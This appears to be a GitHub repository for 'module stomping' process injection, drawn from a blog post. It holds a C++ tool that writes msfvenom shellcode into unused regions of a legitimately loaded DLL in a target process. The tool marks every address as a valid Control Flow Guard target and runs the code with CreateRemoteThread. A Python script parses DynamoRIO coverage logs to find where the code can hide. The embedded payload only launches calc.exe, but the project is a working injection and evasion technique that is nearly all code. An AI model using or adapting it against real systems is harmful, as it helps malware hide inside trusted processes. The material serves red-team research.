├── CodeCoverageMiniStompInjection ├── CodeCoverageMiniStompInjection.sln └── CodeCoverageMiniStompInjection │ ├── CodeCoverageMiniStompInjection.cpp │ ├── CodeCoverageMiniStompInjection.h │ ├── CodeCoverageMiniStompInjection.vcxproj │ ├── CodeCoverageMiniStompInjection.vcxproj.filters │ └── CodeCoverageMiniStompInjection.vcxproj.user ├── README.md └── parse-drcov-identify-untouched.py /CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29613.14 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CodeCoverageMiniStompInjection", "CodeCoverageMiniStompInjection\CodeCoverageMiniStompInjection.vcxproj", "{0DAF446C-3714-4584-BB25-FC5F0879E861}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x64.ActiveCfg = Debug|x64 17 | {0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x64.Build.0 = Debug|x64 18 | {0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x86.ActiveCfg = Debug|Win32 19 | {0DAF446C-3714-4584-BB25-FC5F0879E861}.Debug|x86.Build.0 = Debug|Win32 20 | {0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x64.ActiveCfg = Release|x64 21 | {0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x64.Build.0 = Release|x64 22 | {0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x86.ActiveCfg = Release|Win32 23 | {0DAF446C-3714-4584-BB25-FC5F0879E861}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {717FCA4C-C5AC-48C8-BFD4-D1D7FE0AF7F4} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #pragma comment(lib, "mincore.lib") 12 | 13 | #include "CodeCoverageMiniStompInjection.h" 14 | 15 | DWORD FindProcessByPID(const std::wstring& processName) 16 | { 17 | PROCESSENTRY32 processInfo; 18 | processInfo.dwSize = sizeof(processInfo); 19 | 20 | HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); 21 | if (processesSnapshot == INVALID_HANDLE_VALUE) 22 | return 0; 23 | 24 | Process32First(processesSnapshot, &processInfo); 25 | if (!processName.compare(processInfo.szExeFile)) 26 | { 27 | CloseHandle(processesSnapshot); 28 | return processInfo.th32ProcessID; 29 | } 30 | 31 | while (Process32Next(processesSnapshot, &processInfo)) 32 | { 33 | if (!processName.compare(processInfo.szExeFile)) 34 | { 35 | CloseHandle(processesSnapshot); 36 | return processInfo.th32ProcessID; 37 | } 38 | } 39 | 40 | CloseHandle(processesSnapshot); 41 | return 0; 42 | } 43 | 44 | void KillProcessByName(const std::wstring& processName) 45 | { 46 | PROCESSENTRY32 processInfo; 47 | processInfo.dwSize = sizeof(processInfo); 48 | 49 | HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); 50 | if (processesSnapshot == INVALID_HANDLE_VALUE) 51 | return; 52 | 53 | Process32First(processesSnapshot, &processInfo); 54 | if (!processName.compare(processInfo.szExeFile)) 55 | { 56 | HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, 57 | processInfo.th32ProcessID); 58 | if (hProcess != NULL) 59 | { 60 | TerminateProcess(hProcess, 9); 61 | CloseHandle(hProcess); 62 | } 63 | } 64 | 65 | while (Process32Next(processesSnapshot, &processInfo)) 66 | { 67 | if (!processName.compare(processInfo.szExeFile)) 68 | { 69 | HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, 70 | processInfo.th32ProcessID); 71 | if (hProcess != NULL) 72 | { 73 | TerminateProcess(hProcess, 9); 74 | CloseHandle(hProcess); 75 | } 76 | } 77 | } 78 | 79 | CloseHandle(processesSnapshot); 80 | } 81 | 82 | DWORD SetUpTargetProcess(std::wstring targetProcessName) 83 | { 84 | // Kill existing notepad processes 85 | KillProcessByName(targetProcessName); 86 | 87 | // Start a new notepad process 88 | STARTUPINFO si; 89 | PROCESS_INFORMATION pi; 90 | ZeroMemory(&si, sizeof(si)); 91 | si.cb = sizeof(si); 92 | ZeroMemory(&pi, sizeof(pi)); 93 | // Start the child process. 94 | if (!CreateProcess(NULL, // No module name (use command line) 95 | (LPWSTR)targetProcessName.c_str(), // Command line 96 | NULL, // Process handle not inheritable 97 | NULL, // Thread handle not inheritable 98 | FALSE, // Set handle inheritance to FALSE 99 | 0, // No creation flags 100 | NULL, // Use parent's environment block 101 | NULL, // Use parent's starting directory 102 | &si, // Pointer to STARTUPINFO structure 103 | &pi) // Pointer to PROCESS_INFORMATION structure 104 | ) 105 | { 106 | printf("CreateProcess failed (%d).\n", GetLastError()); 107 | return 0; 108 | } 109 | std::this_thread::sleep_for(std::chrono::seconds(2)); // sleep to give process time to actually start 110 | 111 | // Find PID of new notepad process 112 | DWORD targetPID = FindProcessByPID(targetProcessName); 113 | return targetPID; 114 | } 115 | 116 | int InjectIntoModule(DWORD processID, std::wstring moduleTarget, DWORD offsetInMemory) 117 | { 118 | std::cout << std::endl; 119 | //std::cout << "Process launched. Attach debugger now if required. Proceed with injection?" << std::endl; 120 | //system("pause"); 121 | 122 | HMODULE hMods[1024]; 123 | HANDLE hProcess; 124 | DWORD cbNeeded; 125 | unsigned int i; 126 | 127 | // Print the process identifier. 128 | 129 | std::cout << "Process ID: " << processID << std::endl; 130 | 131 | // Get a handle to the process. 132 | 133 | hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID); 134 | if (NULL == hProcess) 135 | { 136 | std::cout << "Could not open handle to process." << std::endl; 137 | return 1; 138 | } 139 | std::cout << "Handle to external process obtained." << std::endl; 140 | 141 | // Get a list of all the modules in this process. 142 | if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) 143 | { 144 | for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) 145 | { 146 | TCHAR szModName[MAX_PATH]; 147 | 148 | // Get the full path to the module's file. 149 | 150 | if (GetModuleFileNameEx(hProcess, hMods[i], szModName, 151 | sizeof(szModName) / sizeof(TCHAR))) 152 | { 153 | std::wstring moduleCurrent = std::wstring(szModName); 154 | std::transform(moduleCurrent.begin(), moduleCurrent.end(), moduleCurrent.begin(), std::tolower); 155 | 156 | if (wcsstr(moduleCurrent.c_str(), moduleTarget.c_str()) != 0) 157 | { 158 | std::wcout << "Target module found: " << szModName << " is at " << hMods[i] << std::endl; 159 | 160 | PVOID remoteBuffer;// = hMods[i]; 161 | remoteBuffer = (int*)((char*)hMods[i] + offsetInMemory); //offsetInMemory 162 | //remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); 163 | 164 | // make memory section writable 165 | std::cout << "Modifying module memory to be writable." << std::endl; 166 | DWORD oldProtect; 167 | DWORD virtualProtectRWE = VirtualProtectEx(hProcess, remoteBuffer, sizeof shellcode, PAGE_EXECUTE_WRITECOPY, &oldProtect); 168 | if (virtualProtectRWE == 0) 169 | { 170 | std::cout << "Error when making memory RWE: " << GetLastError() << std::endl; 171 | } 172 | 173 | //system("pause"); 174 | 175 | MODULEINFO currentModule; 176 | ZeroMemory(¤tModule, sizeof(currentModule)); 177 | GetModuleInformation(hProcess, hMods[i], ¤tModule, sizeof currentModule); 178 | 179 | std::cout << "Setting CFG call targets." << std::endl; 180 | for (unsigned int n = 0; n < currentModule.SizeOfImage; n += 16) 181 | { 182 | CFG_CALL_TARGET_INFO offsetInfo; 183 | offsetInfo.Flags = CFG_CALL_TARGET_VALID; 184 | offsetInfo.Offset = n; 185 | if (!SetProcessValidCallTargets(hProcess, (void*)currentModule.lpBaseOfDll, currentModule.SizeOfImage, 1, &offsetInfo)) 186 | { 187 | std::cout << "Error when calling SetProcessValidCallTargets: " << GetLastError() << std::endl; 188 | } 189 | } 190 | 191 | // write data 192 | std::cout << "Writing shellcode to external process. Total bytes: " << (sizeof shellcode) << std::endl; 193 | DWORD writeProcessMemory = WriteProcessMemory(hProcess, remoteBuffer, shellcode, sizeof shellcode, NULL); 194 | if (writeProcessMemory == 0) 195 | { 196 | std::cout << "Error when writing to external process' memory: " << GetLastError() << std::endl; 197 | } 198 | 199 | //system("pause"); 200 | 201 | std::cout << "Creating thread in external process." << std::endl; 202 | HANDLE rThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); 203 | if (rThread == NULL) 204 | { 205 | std::cout << "Error when creating remote thread: " << GetLastError() << std::endl; 206 | } 207 | 208 | //system("pause"); 209 | 210 | std::cout << "Modifying module memory to be non-writable." << std::endl; 211 | VirtualProtectEx(hProcess, hMods[i], sizeof shellcode, PAGE_EXECUTE_READ, &oldProtect); 212 | } 213 | } 214 | } 215 | } 216 | 217 | // Release the handle to the process. 218 | 219 | CloseHandle(hProcess); 220 | 221 | return 0; 222 | } 223 | 224 | int wmain(int argc, wchar_t* argv[]) 225 | { 226 | if (argc != 4) 227 | { 228 | std::cout << "DLLCoverage.exe " << std::endl; 229 | return 1; 230 | } 231 | 232 | // Set up target process 233 | DWORD targetPID = SetUpTargetProcess(argv[1]); 234 | 235 | // 1==moduleName, 2=offset, 3==freeSpace 236 | InjectIntoModule(targetPID, argv[2], _wtoi(argv[3])); 237 | 238 | return 0; 239 | } -------------------------------------------------------------------------------- /CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // msfvenom -f c -p windows/x64/exec CMD="C:\windows\system32\calc.exe" -b \x00\x0a\x0d EXITFUNC=thread 4 | unsigned char shellcode[] = 5 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 6 | "\x48\x31\xc9\x48\x81\xe9\xdb\xff\xff\xff\x48\x8d\x05\xef\xff" 7 | "\xff\xff\x48\xbb\xc3\x89\x60\xf6\x85\x2f\x95\xc3\x48\x31\x58" 8 | "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x3f\xc1\xe3\x12\x75\xc7" 9 | "\x55\xc3\xc3\x89\x21\xa7\xc4\x7f\xc7\x92\x95\xc1\x51\x24\xe0" 10 | "\x67\x1e\x91\xa3\xc1\xeb\xa4\x9d\x67\x1e\x91\xe3\xc1\xeb\x84" 11 | "\xd5\x67\x9a\x74\x89\xc3\x2d\xc7\x4c\x67\xa4\x03\x6f\xb5\x01" 12 | "\x8a\x87\x03\xb5\x82\x02\x40\x6d\xb7\x84\xee\x77\x2e\x91\xc8" 13 | "\x31\xbe\x0e\x7d\xb5\x48\x81\xb5\x28\xf7\x55\xa4\x15\x4b\xc3" 14 | "\x89\x60\xbe\x00\xef\xe1\xa4\x8b\x88\xb0\xa6\x0e\x67\x8d\x87" 15 | "\x48\xc9\x40\xbf\x84\xff\x76\x95\x8b\x76\xa9\xb7\x0e\x1b\x1d" 16 | "\x8b\xc2\x5f\x2d\xc7\x4c\x67\xa4\x03\x6f\xc8\xa1\x3f\x88\x6e" 17 | "\x94\x02\xfb\x69\x15\x07\xc9\x2c\xd9\xe7\xcb\xcc\x59\x27\xf0" 18 | "\xf7\xcd\x87\x48\xc9\x44\xbf\x84\xff\xf3\x82\x48\x85\x28\xb2" 19 | "\x0e\x6f\x89\x8a\xc2\x59\x21\x7d\x81\xa7\xdd\xc2\x13\xc8\x38" 20 | "\xb7\xdd\x71\xcc\x99\x82\xd1\x21\xaf\xc4\x75\xdd\x40\x2f\xa9" 21 | "\x21\xa4\x7a\xcf\xcd\x82\x9a\xd3\x28\x7d\x97\xc6\xc2\x3c\x3c" 22 | "\x76\x3d\xbe\x3f\x2e\x95\xc3\xc3\x89\x60\xf6\x85\x67\x18\x4e" 23 | "\xc2\x88\x60\xf6\xc4\x95\xa4\x48\xac\x0e\x9f\x23\x3e\xcf\x88" 24 | "\xe9\xc9\xc8\xda\x50\x10\x92\x08\x3c\x16\xc1\xe3\x32\xad\x13" 25 | "\x93\xbf\xc9\x09\x9b\x16\xf0\x2a\x2e\x84\xd0\xfb\x0f\x9c\x85" 26 | "\x76\xd4\x4a\x19\x76\xb5\xb5\xbf\x73\xe2\xaa\xad\xed\x0f\x81" 27 | "\xf6\x73\xe6\xba\xb0\xfd\x05\x9b\xb6\x1d\xc9\xa0\xa2\xe5\x03" 28 | "\xd8\xe0\x57\xf0\xc3"; 29 | -------------------------------------------------------------------------------- /CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {0DAF446C-3714-4584-BB25-FC5F0879E861} 24 | Win32Proj 25 | CodeCoverageMiniStompInjection 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | 88 | 89 | Level3 90 | true 91 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | 98 | 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | 116 | 117 | Level3 118 | true 119 | true 120 | true 121 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 122 | true 123 | 124 | 125 | Console 126 | true 127 | true 128 | true 129 | 130 | 131 | 132 | 133 | 134 | 135 | Level3 136 | true 137 | true 138 | true 139 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 140 | true 141 | 142 | 143 | Console 144 | true 145 | true 146 | true 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | -------------------------------------------------------------------------------- /CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Source Files 25 | 26 | 27 | -------------------------------------------------------------------------------- /CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection/CodeCoverageMiniStompInjection.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CodeCoverageModuleStomping 2 | 3 | Tools to support code coverage based module stomping. Based on the blog post: http://williamknowles.io/living-dangerously-with-module-stomping-leveraging-code-coverage-analysis-for-injecting-into-legitimately-loaded-dlls/ 4 | 5 | parse-drcov-identify-untouched.py - analyses DynamoRIO's drcov output. Run the script as follows, with the argument being the drcov output file. It's Python3 with the only non-standard dependency being PrettyTable. 6 | 7 | ``` 8 | python3 parse-drcov-identify-untouched.py drcov.mspaint.exe.11520.0000.proc-win10-beacon.log 9 | ``` 10 | 11 | CodeCoverageModuleStomping - a simple C++ project for testing injecting into the memory regions of an already loaded module (DLL) at a particular offset. Shellcode should be included in the only header file of the project. It's designed for testing on Windows 10 and sets up call targets for Control Flow Guard (CFG); if you want to run this on older operating systems you'll probably need to comment this section of code out. Run the compiled binary as follows: 12 | 13 | ``` 14 | CodeCoverageMiniStompInjection.exe 15 | ``` 16 | 17 | For example: 18 | 19 | ``` 20 | CodeCoverageMiniStompInjection.exe mspaint.exe combase.dll 1599552 21 | ``` 22 | -------------------------------------------------------------------------------- /parse-drcov-identify-untouched.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import csv 4 | from prettytable import PrettyTable 5 | import sys 6 | 7 | if len(sys.argv) <= 1: 8 | print("\nGrab code coverage data with DynamoRIO's drcov:\n") 9 | print("bin64/drrun.exe -t drcov -dump_text -- notepad") 10 | print("\nOutputs *.log which can be passed here as an argument.\n") 11 | print("python3 parse-drcov-untouched.py file.log") 12 | print("\nCode is terrible, and commonly takes 5+ minutes to run, so it requires a bit of patience.\n") 13 | sys.exit(1) 14 | 15 | with open(sys.argv[1], "r") as inputFileRaw: 16 | inputFile = inputFileRaw.read().splitlines() 17 | 18 | startCollectingModules = False 19 | startCollectingExecution = False 20 | modulesList = [] 21 | modulesDict = {} 22 | modulesExecution = {} 23 | moduleStartAddress = {} 24 | modulePathLocation = {} 25 | 26 | for line in inputFile: 27 | if "Columns: id, containing_id, start, end, entry, offset, checksum, timestamp, path" in line: 28 | modulesList.append(line[9:].replace(" ","").lstrip().rstrip()) 29 | startCollectingModules = True 30 | continue 31 | 32 | if startCollectingModules: 33 | if "BB Table" in line: 34 | startCollectingModules=False 35 | break 36 | modulesList.append(line.replace(" ","").lstrip().rstrip()) # note that this may mess up the path if it has spaces in it 37 | 38 | modulesDict = csv.DictReader(modulesList) 39 | 40 | print("Generating dict to track byte-by-byte execution in each module.") 41 | 42 | for module in modulesDict: 43 | modulesExecution[module["id"]] = {} 44 | 45 | for i in range(0, int(module["end"], 0)-int(module["start"], 0)): 46 | modulesExecution[module["id"]][str("{0:#0{1}x}".format(i,18)).lower()] = 0 47 | 48 | moduleStartAddress[module["id"]] = module["start"] 49 | modulePathLocation[module["id"]] = module["path"] 50 | 51 | print("Analysing execution.") 52 | 53 | lineCount=0 54 | for line in inputFile: 55 | lineCount+=1 56 | 57 | if "module id, start, size:" in line: 58 | startCollectingExecution = True 59 | continue # skip to next line 60 | 61 | if startCollectingExecution: 62 | moduleNumber = line.split(":")[0].split("[")[1].split("]")[0].lstrip().rstrip() 63 | executionLocation = line.split(":")[1].split(",")[0].lstrip().rstrip() 64 | executionSize = line.split(":")[1].split(",")[1].lstrip().rstrip() 65 | 66 | for i in range(int(executionLocation, 0), int(executionLocation, 0) + int(executionSize) + 1): # + 1 just to be sure 67 | try: 68 | addressWithBase = str("{0:#0{1}x}".format(i,18)).lower() 69 | if addressWithBase in modulesExecution[moduleNumber]: 70 | modulesExecution[moduleNumber][addressWithBase] = 1 71 | except Exception as e: 72 | print(f"Exception occurred when adding touched address to dict: {e}") 73 | print(f"Input file line: {lineCount}") 74 | print(f"addressWithBase: {addressWithBase}") 75 | print(f"moduleNumber: {moduleNumber}") 76 | 77 | 78 | x = PrettyTable() 79 | x.field_names = ["Path", "Touched (Bytes)", "Untouched (Bytes)", "Coverage (%)", "Largest Untouched (Bytes)", "Largest Untouched (Offset Bytes)"] 80 | 81 | for moduleKey,moduleValue in modulesExecution.items(): 82 | if "DynamoRIO".lower() in modulePathLocation[moduleKey].lower(): 83 | continue 84 | 85 | try: 86 | untouchedBytes=0 87 | touchedBytes=0 88 | for addressLocation,addressUsed in moduleValue.items(): 89 | if int(addressUsed) == 0: 90 | untouchedBytes+=1 91 | if int(addressUsed) == 1: 92 | touchedBytes+=1 93 | 94 | currentUntouchedCount=0 95 | currentUntouchedBaseAddress="0x0000000000000000" 96 | largestUntouchedCount=0 97 | largestUntouchedBaseAddress="0x0000000000000000" 98 | lastAddressWasOneOrFirst=True 99 | for addressLocation,addressUsed in moduleValue.items(): 100 | if int(addressUsed) == 0: 101 | currentUntouchedCount+=1 102 | if lastAddressWasOneOrFirst: 103 | currentUntouchedBaseAddress=addressLocation 104 | lastAddressWasOneOrFirst=False 105 | else: 106 | if currentUntouchedCount > largestUntouchedCount: 107 | largestUntouchedCount = currentUntouchedCount 108 | largestUntouchedBaseAddress = currentUntouchedBaseAddress 109 | currentUntouchedCount=0 110 | lastAddressWasOneOrFirst=True 111 | 112 | # handle situation where nothing is touched (== the entire binary) 113 | if touchedBytes==0: 114 | largestUntouchedCount=untouchedBytes 115 | 116 | # OPTIONAL (can be removed): make sure the largest offset is at a 16 byte offset from the beginning of he file 117 | amountAdded=0 118 | largestUntouchedBaseAddress = int(largestUntouchedBaseAddress, 16) 119 | while (largestUntouchedBaseAddress % 16 != 0): 120 | largestUntouchedBaseAddress+=1 121 | amountAdded+=1 122 | largestUntouchedCount=largestUntouchedCount-amountAdded # removed what's added to reflect smaller untouched buffer 123 | 124 | #largestUntouchedBaseAddressFull = str("{0:#0{1}x}".format(int(largestUntouchedBaseAddress, 16),18)).lower() 125 | codeCoveragePercentage = format(touchedBytes/untouchedBytes*100, ".3f") 126 | 127 | # Module-by-module output (non-tabular) 128 | # print("************************") 129 | # print(f"Module path location: {modulePathLocation[moduleKey]}") 130 | # print(f"Memory addresses touched (bytes)): {str(touchedBytes)} ({str(size(touchedBytes))})") 131 | # print(f"Memory addresses untouched (bytes)): {str(untouchedBytes)} ({str(size(untouchedBytes))})") 132 | # print(f"Code coverage (%): {str(codeCoveragePercentage)}") 133 | # print(f"Largest untouched space (bytes): {str(largestUntouchedCount)} ({str(size(largestUntouchedCount))})") 134 | # print(f"Largest untouched space (base address): {str(largestUntouchedBaseAddressFull)}") 135 | 136 | x.add_row([modulePathLocation[moduleKey], touchedBytes, untouchedBytes, codeCoveragePercentage, largestUntouchedCount, largestUntouchedBaseAddress]) 137 | 138 | except Exception as e: 139 | print(f"Exception occurred when analysing module: {e}") 140 | print(f"largestUntouchedBaseAddress: {largestUntouchedBaseAddress}") 141 | print(f"largestUntouchedCount: {largestUntouchedCount}") 142 | print(f"moduleNumber: {moduleKey}") 143 | 144 | # print table output 145 | x.sortby = "Largest Untouched (Bytes)" 146 | x.reversesort = True 147 | print(x) 148 | --------------------------------------------------------------------------------